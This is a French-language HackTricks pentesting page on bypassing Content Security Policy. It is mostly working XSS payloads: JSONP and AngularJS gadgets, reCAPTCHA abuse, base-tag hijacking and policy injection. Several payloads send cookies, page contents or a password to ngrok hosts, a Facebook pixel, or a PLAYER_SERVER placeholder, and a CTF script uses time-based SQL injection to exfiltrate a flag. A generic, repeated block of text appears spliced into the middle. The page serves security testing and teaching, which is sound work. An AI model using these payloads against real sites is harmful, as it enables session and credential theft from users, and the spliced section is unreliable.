hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

767 lines
49 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Contournement de la politique de sécurité du contenu (CSP)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des pirates expérimentés et des chasseurs de primes en bugs !
**Perspectives de piratage**\
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
**Actualités de piratage en temps réel**\
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
**Dernières annonces**\
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs pirates dès aujourd'hui !
## Qu'est-ce que CSP
La politique de sécurité du contenu (CSP) est reconnue comme une technologie de navigateur, principalement destinée à **protéger contre des attaques telles que le script intersite (XSS)**. Elle fonctionne en définissant et en détaillant les chemins et les sources à partir desquels les ressources peuvent être chargées en toute sécurité par le navigateur. Ces ressources comprennent une gamme d'éléments tels que des images, des cadres et du JavaScript. Par exemple, une politique peut autoriser le chargement et l'exécution de ressources à partir du même domaine (self), y compris des ressources intégrées et l'exécution de code de chaîne via des fonctions telles que `eval`, `setTimeout` ou `setInterval`.
La mise en œuvre de la CSP est réalisée via des **en-têtes de réponse** ou en incorporant des **éléments meta dans la page HTML**. En suivant cette politique, les navigateurs appliquent proactivement ces stipulations et bloquent immédiatement toute violation détectée.
- Implémenté via l'en-tête de réponse:
```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
- Implémenté via la balise meta :
```xml
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### En-têtes
CSP peut être appliqué ou surveillé en utilisant ces en-têtes :
* `Content-Security-Policy` : Applique le CSP ; le navigateur bloque toute violation.
* `Content-Security-Policy-Report-Only` : Utilisé pour la surveillance ; signale les violations sans les bloquer. Idéal pour les tests dans des environnements de pré-production.
### Définition des ressources
CSP restreint les origines pour le chargement de contenu actif et passif, contrôlant des aspects tels que l'exécution de JavaScript en ligne et l'utilisation de `eval()`. Un exemple de politique est :
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Directives
* **script-src**: Autorise des sources spécifiques pour JavaScript, y compris les URL, les scripts en ligne et les scripts déclenchés par des gestionnaires d'événements ou des feuilles de style XSLT.
* **default-src**: Définit une politique par défaut pour récupérer des ressources lorsque des directives de récupération spécifiques sont absentes.
* **child-src**: Spécifie les ressources autorisées pour les travailleurs web et le contenu des cadres intégrés.
* **connect-src**: Restreint les URL qui peuvent être chargées en utilisant des interfaces comme fetch, WebSocket, XMLHttpRequest.
* **frame-src**: Restreint les URL pour les cadres.
* **frame-ancestors**: Spécifie quelles sources peuvent intégrer la page actuelle, applicable aux éléments tels que `<frame>`, `<iframe>`, `<object>`, `<embed>`, et `<applet>`.
* **img-src**: Définit les sources autorisées pour les images.
* **font-src**: Spécifie les sources valides pour les polices chargées à l'aide de `@font-face`.
* **manifest-src**: Définit les sources autorisées des fichiers de manifeste d'application.
* **media-src**: Définit les sources autorisées pour le chargement d'objets multimédias.
* **object-src**: Définit les sources autorisées pour les éléments `<object>`, `<embed>`, et `<applet>`.
* **base-uri**: Spécifie les URL autorisées pour le chargement à l'aide des éléments `<base>`.
* **form-action**: Liste les points de terminaison valides pour les soumissions de formulaire.
* **plugin-types**: Restreint les types MIME qu'une page peut invoquer.
* **upgrade-insecure-requests**: Indique aux navigateurs de réécrire les URL HTTP en HTTPS.
* **sandbox**: Applique des restrictions similaires à l'attribut sandbox d'un `<iframe>`.
* **report-to**: Spécifie un groupe auquel un rapport sera envoyé si la politique est violée.
* **worker-src**: Spécifie les sources valides pour les scripts Worker, SharedWorker, ou ServiceWorker.
* **prefetch-src**: Spécifie les sources valides pour les ressources qui seront récupérées ou préchargées.
* **navigate-to**: Restreint les URL vers lesquelles un document peut naviguer par tous les moyens (a, form, window.location, window.open, etc.)
### Sources
* `*`: Autorise toutes les URL sauf celles avec les schémas `data:`, `blob:`, `filesystem:`.
* `'self'`: Autorise le chargement depuis le même domaine.
* `'data'`: Autorise le chargement de ressources via le schéma de données (par exemple, images encodées en Base64).
* `'none'`: Bloque le chargement depuis n'importe quelle source.
* `'unsafe-eval'`: Autorise l'utilisation de `eval()` et de méthodes similaires, non recommandé pour des raisons de sécurité.
* `'unsafe-hashes'`: Active des gestionnaires d'événements en ligne spécifiques.
* `'unsafe-inline'`: Autorise l'utilisation de ressources en ligne comme les `<script>` ou `<style>` en ligne, non recommandé pour des raisons de sécurité.
* `'nonce'`: Une liste blanche pour des scripts en ligne spécifiques en utilisant un nonce cryptographique (nombre utilisé une fois).
* `'sha256-<hash>'`: Autorise les scripts avec un hachage sha256 spécifique.
* `'strict-dynamic'`: Autorise le chargement de scripts depuis n'importe quelle source s'il a été autorisé par un nonce ou un hachage.
* `'host'`: Spécifie un hôte spécifique, comme `example.com`.
* `https:`: Restreint les URL à celles qui utilisent HTTPS.
* `blob:`: Autorise le chargement de ressources à partir d'URL Blob (par exemple, des URL Blob créées via JavaScript).
* `filesystem:`: Autorise le chargement de ressources à partir du système de fichiers.
* `'report-sample'`: Inclut un échantillon du code en violation dans le rapport de violation (utile pour le débogage).
* `'strict-origin'`: Similaire à 'self' mais garantit que le niveau de sécurité du protocole des sources correspond au document (seules les origines sécurisées peuvent charger des ressources à partir d'origines sécurisées).
* `'strict-origin-when-cross-origin'`: Envoie des URL complètes lors de la réalisation de requêtes de même origine mais envoie uniquement l'origine lorsque la requête est cross-origin.
* `'unsafe-allow-redirects'`: Autorise le chargement de ressources qui redirigeront immédiatement vers une autre ressource. Non recommandé car cela affaiblit la sécurité.
## Règles CSP non sécurisées
### 'unsafe-inline'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Working payload: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' via Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}
### 'unsafe-eval'
```yaml
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
Payload de travail:
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un **code JS autorisé crée une nouvelle balise script** dans le DOM avec votre code JS, car un script autorisé le crée, la **nouvelle balise script pourra être exécutée**.
### Wildcard (\*)
```yaml
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
Charge utile de travail :
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Absence de object-src et default-src
{% hint style="danger" %}
**Il semble que cela ne fonctionne plus**
{% endhint %}
```yaml
Content-Security-Policy: script-src 'self' ;
```
Payloads de travail :
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
```
### Téléchargement de fichiers + 'self'
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Si vous pouvez télécharger un fichier JS, vous pouvez contourner ce CSP :
Charge utile fonctionnelle :
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Cependant, il est très probable que le serveur **valide le fichier téléchargé** et ne vous permettra de **télécharger qu'un type spécifique de fichiers**.
De plus, même si vous pouviez télécharger un **code JS à l'intérieur** d'un fichier en utilisant une extension acceptée par le serveur (comme : _script.png_), cela ne suffirait pas car certains serveurs comme le serveur apache **sélectionnent le type MIME du fichier en fonction de l'extension** et les navigateurs comme Chrome **refuseront d'exécuter du code Javascript** à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris qu'**Apache ne reconnaît pas** l'extension _**.wave**_, donc il ne la sert pas avec un **type MIME comme audio/\***.
À partir de là, si vous trouvez une XSS et un téléchargement de fichier, et que vous parvenez à trouver une **extension mal interprétée**, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglotte ([quelques exemples de polyglottes ici](https://github.com/Polydet/polyglot-database)).
### Points d'extrémité de tiers + ('unsafe-eval')
{% hint style="warning" %}
Pour certains des payloads suivants, **`unsafe-eval` n'est même pas nécessaire**.
{% endhint %}
```yaml
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
```
Chargez une version vulnérable d'Angular et exécutez du JS arbitraire :
```xml
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
```
#### Payloads utilisant Angular + une bibliothèque avec des fonctions qui retournent l'objet `window` ([consultez cet article](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
{% hint style="info" %}
L'article montre que vous pourriez **charger** toutes les **bibliothèques** depuis `cdn.cloudflare.com` (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier **quelles fonctions de quelles bibliothèques retournent l'objet `window`**.
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
```
#### Abus du code JS de Google reCAPTCHA
Selon [**ce compte rendu de CTF**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves), vous pouvez abuser de [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) à l'intérieur d'une CSP pour exécuter du code JS arbitraire en contournant la CSP :
```html
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
### Points de terminaison tiers + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Les scénarios comme celui-ci où `script-src` est défini sur `self` et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une XSS, charge utile de travail:
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **contient des points de terminaison JSONP prêts à l'emploi pour contourner la CSP de différents sites web.**
La même vulnérabilité se produira si le **point de terminaison de confiance contient une redirection ouverte** car si le point de terminaison initial est de confiance, les redirections sont de confiance.
### Abus de tiers
Comme décrit dans le [post suivant](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), il existe de nombreux domaines tiers, qui pourraient être autorisés quelque part dans la CSP, peuvent être utilisés pour exfiltrer des données ou exécuter du code JavaScript. Certains de ces tiers sont :
| Entité | Domaine autorisé | Capacités |
|--------|------------------|------------|
| Facebook | www.facebook.com, *.facebook.com | Exfiltration |
| Hotjar | *.hotjar.com, ask.hotjar.io | Exfiltration |
| Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exécution |
| Amazon CloudFront | *.cloudfront.net | Exfiltration, Exécution |
| Amazon AWS | *.amazonaws.com | Exfiltration, Exécution |
| Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfiltration, Exécution |
| Salesforce Heroku | *.herokuapp.com | Exfiltration, Exécution |
| Google Firebase | *.firebaseapp.com | Exfiltration, Exécution |
Si vous trouvez l'un des domaines autorisés dans la CSP de votre cible, il est probable que vous puissiez contourner la CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code.
Par exemple, si vous trouvez la CSP suivante :
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
# Contournement de la politique de sécurité du contenu (CSP)
---
## Contournement de la CSP basique
La CSP basique peut être contournée de différentes manières, notamment en utilisant des techniques telles que l'inclusion de scripts externes, l'utilisation de la directive `unsafe-inline`, l'utilisation de `eval()` et d'autres méthodes d'exécution de code dynamique.
## Contournement de la CSP avec des scripts externes
L'une des façons les plus courantes de contourner une CSP est d'utiliser des scripts externes hébergés sur des domaines approuvés par la CSP. Cela permet d'exécuter du code JavaScript sans enfreindre la CSP.
## Contournement de la CSP avec l'utilisation de `unsafe-inline`
En autorisant l'utilisation de `unsafe-inline`, il est possible d'exécuter du code JavaScript directement dans le contexte de la page, contournant ainsi les restrictions de la CSP.
## Contournement de la CSP avec l'utilisation de `eval()`
L'utilisation de la fonction `eval()` pour exécuter du code JavaScript peut contourner la CSP en permettant l'exécution de code dynamique à partir de chaînes de caractères.
---
Ces techniques de contournement de la CSP peuvent être utilisées par des attaquants pour exécuter du code malveillant sur un site web, contournant ainsi les mesures de sécurité mises en place par la CSP. Il est important de comprendre ces techniques afin de mieux protéger les applications web contre les attaques potentielles.
```
Content-Security-Policy: connect-src www.facebook.com;
```
1. Créez un compte développeur Facebook [ici](https://developers.facebook.com/).
1. Créez une nouvelle application "Facebook Login" et sélectionnez "Site web".
1. Allez dans "Paramètres -> Général" et obtenez votre "ID d'application".
1. Sur le site cible dont vous souhaitez exfiltrer des données, vous pouvez le faire directement en utilisant le gadget SDK Facebook "fbq" via un "customEvent" et la charge utile de données.
1. Accédez à votre "Gestionnaire d'événements" de l'application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements peut être trouvé dans une URL similaire à ceci : https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
1. Sélectionnez l'onglet "Événements de test" pour voir les événements envoyés par votre site web.
Ensuite, du côté de la victime, exécutez le code suivant pour initialiser le pixel de suivi Facebook afin de pointer vers l'application du compte développeur Facebook de l'attaquant avec l'ID d'application et émettre un événement personnalisé comme suit :
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
```
### Contournement via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
En plus de la redirection mentionnée précédemment pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.
Par exemple, si CSP autorise le chemin `https://example.com/scripts/react/`, il peut être contourné de la manière suivante:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Le navigateur chargera finalement `https://example.com/scripts/angular/angular.js`.
Cela fonctionne car pour le navigateur, vous chargez un fichier nommé `..%2fangular%2fangular.js` situé sous `https://example.com/scripts/react/`, ce qui est conforme à la CSP.
Ainsi, il le décodera, demandant effectivement `https://example.com/scripts/react/../angular/angular.js`, ce qui est équivalent à `https://example.com/scripts/angular/angular.js`.
En **exploitant cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées**.
La solution est de ne pas traiter `%2f` comme `/` côté serveur, assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.
Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Exécution de JS via des iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### **base-uri** manquant
Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage en suspens**](../dangling-markup-html-scriptless-injection/).
De plus, si la **page charge un script en utilisant un chemin relatif** (comme `<script src="/js/app.js">`) en utilisant un **Nonce**, vous pouvez abuser de la balise **base** pour faire **charger** le script depuis **votre propre serveur pour réaliser un XSS.**\
Si la page vulnérable est chargée en **httpS**, utilisez une URL en httpS dans la balise base.
```html
<base href="https://www.attacker.com/">
```
### Événements AngularJS
Une politique spécifique connue sous le nom de Content Security Policy (CSP) peut restreindre les événements JavaScript. Néanmoins, AngularJS introduit des événements personnalisés comme alternative. Dans un événement, AngularJS fournit un objet unique `$event`, faisant référence à l'objet d'événement natif du navigateur. Cet objet `$event` peut être exploité pour contourner le CSP. Notamment, dans Chrome, l'objet `$event/event` possède un attribut `path`, contenant un tableau d'objets impliqués dans la chaîne d'exécution de l'événement, l'objet `window` étant invariablement positionné à la fin. Cette structure est cruciale pour les tactiques d'évasion de bac à sable.
En dirigeant ce tableau vers le filtre `orderBy`, il est possible de le parcourir, en exploitant l'élément terminal (l'objet `window`) pour déclencher une fonction globale comme `alert()`. L'extrait de code ci-dessous illustre ce processus :
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Ce extrait met en évidence l'utilisation de la directive `ng-focus` pour déclencher l'événement, en utilisant `$event.path|orderBy` pour manipuler le tableau `path`, et en tirant parti de l'objet `window` pour exécuter la fonction `alert()`, révélant ainsi `document.cookie`.
**Trouvez d'autres contournements Angular sur** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS et domaine autorisé
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Un CSP qui autorise les domaines pour le chargement de scripts dans une application Angular JS peut être contourné en invoquant des fonctions de rappel et certaines classes vulnérables. Vous pouvez trouver plus d'informations sur cette technique dans un guide détaillé disponible sur ce [dépôt git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
Payloads fonctionnels:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Autres points d'exécution arbitraire JSONP peuvent être trouvés [**ici**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (certains ont été supprimés ou corrigés)
### Contournement via Redirection
Que se passe-t-il lorsque CSP rencontre une redirection côté serveur ? Si la redirection mène à une origine différente qui n'est pas autorisée, elle échouera toujours.
Cependant, selon la description dans [la spécification CSP 4.2.2.3. Chemins et Redirections](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), si la redirection mène à un chemin différent, elle peut contourner les restrictions initiales.
Voici un exemple :
```html
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
```
Si CSP est défini sur `https://www.google.com/a/b/c/d`, puisque le chemin est pris en compte, les scripts `/test` et `/a/test` seront bloqués par CSP.
Cependant, le final `http://localhost:5555/301` sera **redirigé côté serveur vers `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Comme il s'agit d'une redirection, le **chemin n'est pas pris en compte**, et le **script peut être chargé**, contournant ainsi la restriction du chemin.
Avec cette redirection, même si le chemin est spécifié complètement, il sera quand même contourné.
Par conséquent, la meilleure solution est de s'assurer que le site web n'a pas de vulnérabilités de redirection ouverte et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.
### Contourner CSP avec un balisage suspendu
Lire [comment ici](../dangling-markup-html-scriptless-injection/).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script à l'intérieur du code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.
Vous pouvez contourner ce CSP en exfiltrant les données via des images (dans ce cas, le XSS abuse d'un CSRF où une page accessible par le bot contient une injection SQL, et extrait le drapeau via une image):
```javascript
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
```
De : [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Vous pourriez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter. Vous pourriez **créer** une **image spéciale**, la **téléverser** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Avec les Travailleurs de Service
La fonction **`importScripts`** des travailleurs de service n'est pas limitée par la CSP :
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md](../xss-cross-site-scripting/abusing-service-workers.md)
{% endcontent-ref %}
### Injection de Politique
**Recherche :** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Si un **paramètre** envoyé par vous est **collé à l'intérieur** de la **déclaration** de la **politique**, alors vous pourriez **modifier** la **politique** de manière à la rendre **inutile**. Vous pourriez **autoriser le script 'unsafe-inline'** avec l'une de ces contournements :
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Parce que cette directive va **écraser les directives script-src existantes**.\
Vous pouvez trouver un exemple ici: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci: **`;_`** **Edge** **supprimerait** l'ensemble de la **politique**.\
Exemple: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; via XSS (iframe) - Attaque temporelle
Remarquez l'absence de la directive `'unsafe-inline'`\
Cette fois, vous pouvez faire en sorte que la victime **charge** une page sous **votre contrôle** via **XSS** avec un `<iframe`. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (**CSRF**). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez **contrôler le temps nécessaire pour que la page se charge**, vous pouvez extraire les informations dont vous avez besoin.
Cette fois, un **drapeau** va être extrait, chaque fois qu'un **caractère est correctement deviné** via SQLi, la **réponse** prend **plus de temps** en raison de la fonction de pause. Ensuite, vous pourrez extraire le drapeau:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
```
### Via Bookmarklets
Cette attaque impliquerait une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code javascript malveillant** qui, lorsqu'il est glissé et déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, **contournant CSP et permettant de voler des informations sensibles** telles que des cookies ou des jetons.
Pour plus d'informations, [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Contournement de CSP en restreignant CSP
Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via la **pollution de prototype** ou le **dom clobbering** a permis d'**abuser d'un script différent pour charger un script arbitraire**.
